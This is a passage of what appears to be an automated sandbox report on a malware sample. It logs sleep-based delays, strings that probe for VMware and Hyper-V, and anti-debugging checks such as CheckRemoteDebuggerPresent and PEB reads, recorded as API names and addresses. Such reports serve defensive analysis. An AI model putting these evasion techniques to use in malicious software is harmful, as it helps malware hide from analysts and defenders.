          Source: C:\Windows\SysWOW64\cscript.exe TID: 2580Thread sleep time: -3150000s >= -30000sJump to behavior
          Source: C:\Windows\SysWOW64\cscript.exe TID: 2580Thread sleep count: 8396 > 30Jump to behavior
          Source: C:\Windows\SysWOW64\cscript.exe TID: 2580Thread sleep time: -16792000s >= -30000sJump to behavior
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\cscript.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\cscript.exeLast function: Thread delayed
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031D5908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,4_2_031D5908
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D20207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,10_2_00D20207
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D2589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,10_2_00D2589A
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D24EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,10_2_00D24EC1
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D33E66 FindFirstFileW,FindNextFileW,FindClose,10_2_00D33E66
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D1532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,10_2_00D1532E
          Source: explorer.exe, 0000000C.00000002.4593351515.000000000C474000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: d'me#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94
          Source: explorer.exe, 0000000C.00000000.2252238503.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000962B000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWystem32\DriverStore\en-US\msmouse.inf_locv
          Source: explorer.exe, 0000000C.00000000.2252872203.00000000097F3000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
          Source: explorer.exe, 0000000C.00000000.2252238503.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000973C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWws
          Source: x.exe, 00000004.00000002.2216401383.0000000000960000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW|
          Source: explorer.exe, 0000000C.00000003.2979174181.00000000098AD000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}RoamingCom
          Source: explorer.exe, 0000000C.00000000.2252238503.0000000009605000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: NXTVMWare
          Source: explorer.exe, 0000000C.00000002.4578501898.0000000000D99000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: #CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: x.exe, 00000004.00000002.2216401383.00000000008FE000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000004.00000002.2216401383.0000000000960000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2252238503.000000000978C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: explorer.exe, 0000000C.00000002.4578501898.0000000000D99000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000W
          Source: explorer.exe, 0000000C.00000002.4582974589.00000000073E5000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
          Source: explorer.exe, 0000000C.00000003.2979174181.00000000098AD000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}lnkramW6
          Source: explorer.exe, 0000000C.00000002.4578501898.0000000000D99000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
          Source: explorer.exe, 0000000C.00000003.2979174181.00000000098AD000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
          Source: explorer.exe, 0000000C.00000002.4578501898.0000000000D99000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
          Source: C:\Users\user\AppData\Local\Temp\x.exeAPI call chain: ExitProcess graph end nodegraph_4-32476
          Source: C:\Users\Public\Libraries\joedgvvL.pifProcess information queried: ProcessInformationJump to behavior

          Anti Debugging

          barindex
          Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031EF744 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,4_2_031EF744
          Source: C:\Users\user\AppData\Local\Temp\x.exeProcess queried: DebugPortJump to behavior
          Source: C:\Users\Public\Libraries\joedgvvL.pifProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\cscript.exeProcess queried: DebugPortJump to behavior
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_00409AB0 rdtsc 11_2_00409AB0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_0040ACF0 LdrLoadDll,11_2_0040ACF0
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D32E37 IsDebuggerPresent,10_2_00D32E37
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: 4_2_031E894C LoadLibraryW,GetProcAddress,FreeLibrary,4_2_031E894C
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D3C1FA mov eax, dword ptr fs:[00000030h]10_2_00D3C1FA
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF46DF6 mov eax, dword ptr fs:[00000030h]11_2_1DF46DF6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7CDF0 mov eax, dword ptr fs:[00000030h]11_2_1DF7CDF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7CDF0 mov ecx, dword ptr fs:[00000030h]11_2_1DF7CDF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5ADE0 mov eax, dword ptr fs:[00000030h]11_2_1DF5ADE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5ADE0 mov eax, dword ptr fs:[00000030h]11_2_1DF5ADE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5ADE0 mov eax, dword ptr fs:[00000030h]11_2_1DF5ADE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5ADE0 mov eax, dword ptr fs:[00000030h]11_2_1DF5ADE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5ADE0 mov eax, dword ptr fs:[00000030h]11_2_1DF5ADE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5ADE0 mov eax, dword ptr fs:[00000030h]11_2_1DF5ADE0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF70DE1 mov eax, dword ptr fs:[00000030h]11_2_1DF70DE1
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4CDEA mov eax, dword ptr fs:[00000030h]11_2_1DF4CDEA
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4CDEA mov eax, dword ptr fs:[00000030h]11_2_1DF4CDEA
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7EDD3 mov eax, dword ptr fs:[00000030h]11_2_1DF7EDD3
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7EDD3 mov eax, dword ptr fs:[00000030h]11_2_1DF7EDD3
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF53DD0 mov eax, dword ptr fs:[00000030h]11_2_1DF53DD0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF53DD0 mov eax, dword ptr fs:[00000030h]11_2_1DF53DD0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD4DD7 mov eax, dword ptr fs:[00000030h]11_2_1DFD4DD7
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD4DD7 mov eax, dword ptr fs:[00000030h]11_2_1DFD4DD7
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDDDC0 mov eax, dword ptr fs:[00000030h]11_2_1DFDDDC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00DE46 mov eax, dword ptr fs:[00000030h]11_2_1E00DE46
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6DDB1 mov eax, dword ptr fs:[00000030h]11_2_1DF6DDB1
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6DDB1 mov eax, dword ptr fs:[00000030h]11_2_1DF6DDB1
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6DDB1 mov eax, dword ptr fs:[00000030h]11_2_1DF6DDB1
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF78DBF mov eax, dword ptr fs:[00000030h]11_2_1DF78DBF
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF78DBF mov eax, dword ptr fs:[00000030h]11_2_1DF78DBF
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8CDB1 mov ecx, dword ptr fs:[00000030h]11_2_1DF8CDB1
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8CDB1 mov eax, dword ptr fs:[00000030h]11_2_1DF8CDB1
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8CDB1 mov eax, dword ptr fs:[00000030h]11_2_1DF8CDB1
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDDDB1 mov eax, dword ptr fs:[00000030h]11_2_1DFDDDB1
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E022E4F mov eax, dword ptr fs:[00000030h]11_2_1E022E4F
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E022E4F mov eax, dword ptr fs:[00000030h]11_2_1E022E4F
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF89DAF mov eax, dword ptr fs:[00000030h]11_2_1DF89DAF
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF86DA0 mov eax, dword ptr fs:[00000030h]11_2_1DF86DA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5FDA9 mov eax, dword ptr fs:[00000030h]11_2_1DF5FDA9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF49D96 mov eax, dword ptr fs:[00000030h]11_2_1DF49D96
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF49D96 mov eax, dword ptr fs:[00000030h]11_2_1DF49D96
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF49D96 mov ecx, dword ptr fs:[00000030h]11_2_1DF49D96
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4FD80 mov eax, dword ptr fs:[00000030h]11_2_1DF4FD80
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF57D75 mov eax, dword ptr fs:[00000030h]11_2_1DF57D75
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF57D75 mov eax, dword ptr fs:[00000030h]11_2_1DF57D75
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFFD78 mov eax, dword ptr fs:[00000030h]11_2_1DFFFD78
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFFD78 mov eax, dword ptr fs:[00000030h]11_2_1DFFFD78
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFFD78 mov eax, dword ptr fs:[00000030h]11_2_1DFFFD78
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFFD78 mov eax, dword ptr fs:[00000030h]11_2_1DFFFD78
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFFD78 mov eax, dword ptr fs:[00000030h]11_2_1DFFFD78
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFE8D6B mov eax, dword ptr fs:[00000030h]11_2_1DFE8D6B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF50D59 mov eax, dword ptr fs:[00000030h]11_2_1DF50D59
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF50D59 mov eax, dword ptr fs:[00000030h]11_2_1DF50D59
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF50D59 mov eax, dword ptr fs:[00000030h]11_2_1DF50D59
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF58D59 mov eax, dword ptr fs:[00000030h]11_2_1DF58D59
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF58D59 mov eax, dword ptr fs:[00000030h]11_2_1DF58D59
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF58D59 mov eax, dword ptr fs:[00000030h]11_2_1DF58D59
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF58D59 mov eax, dword ptr fs:[00000030h]11_2_1DF58D59
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF58D59 mov eax, dword ptr fs:[00000030h]11_2_1DF58D59
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00DEB0 mov eax, dword ptr fs:[00000030h]11_2_1E00DEB0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF47D41 mov eax, dword ptr fs:[00000030h]11_2_1DF47D41
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov ecx, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov ecx, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov ecx, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov ecx, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov ecx, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov ecx, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D40 mov eax, dword ptr fs:[00000030h]11_2_1DF63D40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BD4E mov eax, dword ptr fs:[00000030h]11_2_1DF8BD4E
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BD4E mov eax, dword ptr fs:[00000030h]11_2_1DF8BD4E
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDDD47 mov eax, dword ptr fs:[00000030h]11_2_1DFDDD47
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D20 mov eax, dword ptr fs:[00000030h]11_2_1DF63D20
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDFD2A mov eax, dword ptr fs:[00000030h]11_2_1DFDFD2A
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDFD2A mov eax, dword ptr fs:[00000030h]11_2_1DFDFD2A
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF46D10 mov eax, dword ptr fs:[00000030h]11_2_1DF46D10
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF46D10 mov eax, dword ptr fs:[00000030h]11_2_1DF46D10
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF46D10 mov eax, dword ptr fs:[00000030h]11_2_1DF46D10
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF84D1D mov eax, dword ptr fs:[00000030h]11_2_1DF84D1D
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01BEE6 mov eax, dword ptr fs:[00000030h]11_2_1E01BEE6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01BEE6 mov eax, dword ptr fs:[00000030h]11_2_1E01BEE6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01BEE6 mov eax, dword ptr fs:[00000030h]11_2_1E01BEE6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01BEE6 mov eax, dword ptr fs:[00000030h]11_2_1E01BEE6
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF63D00 mov eax, dword ptr fs:[00000030h]11_2_1DF63D00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6AD00 mov eax, dword ptr fs:[00000030h]11_2_1DF6AD00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6AD00 mov eax, dword ptr fs:[00000030h]11_2_1DF6AD00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF6AD00 mov eax, dword ptr fs:[00000030h]11_2_1DF6AD00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E006F00 mov eax, dword ptr fs:[00000030h]11_2_1E006F00
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFF1CF9 mov eax, dword ptr fs:[00000030h]11_2_1DFF1CF9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFF1CF9 mov eax, dword ptr fs:[00000030h]11_2_1DFF1CF9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFF1CF9 mov eax, dword ptr fs:[00000030h]11_2_1DFF1CF9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF82CF0 mov eax, dword ptr fs:[00000030h]11_2_1DF82CF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF82CF0 mov eax, dword ptr fs:[00000030h]11_2_1DF82CF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF82CF0 mov eax, dword ptr fs:[00000030h]11_2_1DF82CF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF82CF0 mov eax, dword ptr fs:[00000030h]11_2_1DF82CF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFFCDF mov eax, dword ptr fs:[00000030h]11_2_1DFFFCDF
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFFCDF mov eax, dword ptr fs:[00000030h]11_2_1DFFFCDF
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFFCDF mov eax, dword ptr fs:[00000030h]11_2_1DFFFCDF
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF47CD5 mov eax, dword ptr fs:[00000030h]11_2_1DF47CD5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF47CD5 mov eax, dword ptr fs:[00000030h]11_2_1DF47CD5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF47CD5 mov eax, dword ptr fs:[00000030h]11_2_1DF47CD5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF47CD5 mov eax, dword ptr fs:[00000030h]11_2_1DF47CD5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF47CD5 mov eax, dword ptr fs:[00000030h]11_2_1DF47CD5
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD3CDB mov eax, dword ptr fs:[00000030h]11_2_1DFD3CDB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD3CDB mov eax, dword ptr fs:[00000030h]11_2_1DFD3CDB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD3CDB mov eax, dword ptr fs:[00000030h]11_2_1DFD3CDB
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00DF2F mov eax, dword ptr fs:[00000030h]11_2_1E00DF2F
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61CC7 mov eax, dword ptr fs:[00000030h]11_2_1DF61CC7
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61CC7 mov eax, dword ptr fs:[00000030h]11_2_1DF61CC7
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF85CC0 mov eax, dword ptr fs:[00000030h]11_2_1DF85CC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF85CC0 mov eax, dword ptr fs:[00000030h]11_2_1DF85CC0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4CCC8 mov eax, dword ptr fs:[00000030h]11_2_1DF4CCC8
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF78CB1 mov eax, dword ptr fs:[00000030h]11_2_1DF78CB1
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF78CB1 mov eax, dword ptr fs:[00000030h]11_2_1DF78CB1
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4DCA0 mov eax, dword ptr fs:[00000030h]11_2_1DF4DCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7FCA0 mov ecx, dword ptr fs:[00000030h]11_2_1DF7FCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7FCA0 mov eax, dword ptr fs:[00000030h]11_2_1DF7FCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7FCA0 mov eax, dword ptr fs:[00000030h]11_2_1DF7FCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7FCA0 mov eax, dword ptr fs:[00000030h]11_2_1DF7FCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7FCA0 mov eax, dword ptr fs:[00000030h]11_2_1DF7FCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BCA0 mov eax, dword ptr fs:[00000030h]11_2_1DF8BCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BCA0 mov eax, dword ptr fs:[00000030h]11_2_1DF8BCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BCA0 mov ecx, dword ptr fs:[00000030h]11_2_1DF8BCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8BCA0 mov eax, dword ptr fs:[00000030h]11_2_1DF8BCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFCCCA0 mov ecx, dword ptr fs:[00000030h]11_2_1DFCCCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFCCCA0 mov eax, dword ptr fs:[00000030h]11_2_1DFCCCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFCCCA0 mov eax, dword ptr fs:[00000030h]11_2_1DFCCCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFCCCA0 mov eax, dword ptr fs:[00000030h]11_2_1DFCCCA0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E024F68 mov eax, dword ptr fs:[00000030h]11_2_1E024F68
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF53C84 mov eax, dword ptr fs:[00000030h]11_2_1DF53C84
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF53C84 mov eax, dword ptr fs:[00000030h]11_2_1DF53C84
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF53C84 mov eax, dword ptr fs:[00000030h]11_2_1DF53C84
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF53C84 mov eax, dword ptr fs:[00000030h]11_2_1DF53C84
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF48C8D mov eax, dword ptr fs:[00000030h]11_2_1DF48C8D
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF81C7C mov eax, dword ptr fs:[00000030h]11_2_1DF81C7C
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF61C60 mov eax, dword ptr fs:[00000030h]11_2_1DF61C60
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF84C59 mov eax, dword ptr fs:[00000030h]11_2_1DF84C59
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5AC50 mov eax, dword ptr fs:[00000030h]11_2_1DF5AC50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5AC50 mov eax, dword ptr fs:[00000030h]11_2_1DF5AC50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5AC50 mov eax, dword ptr fs:[00000030h]11_2_1DF5AC50
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5AC50 mov eax, dword ptr fs:[00000030h]11_2_1DF5AC50
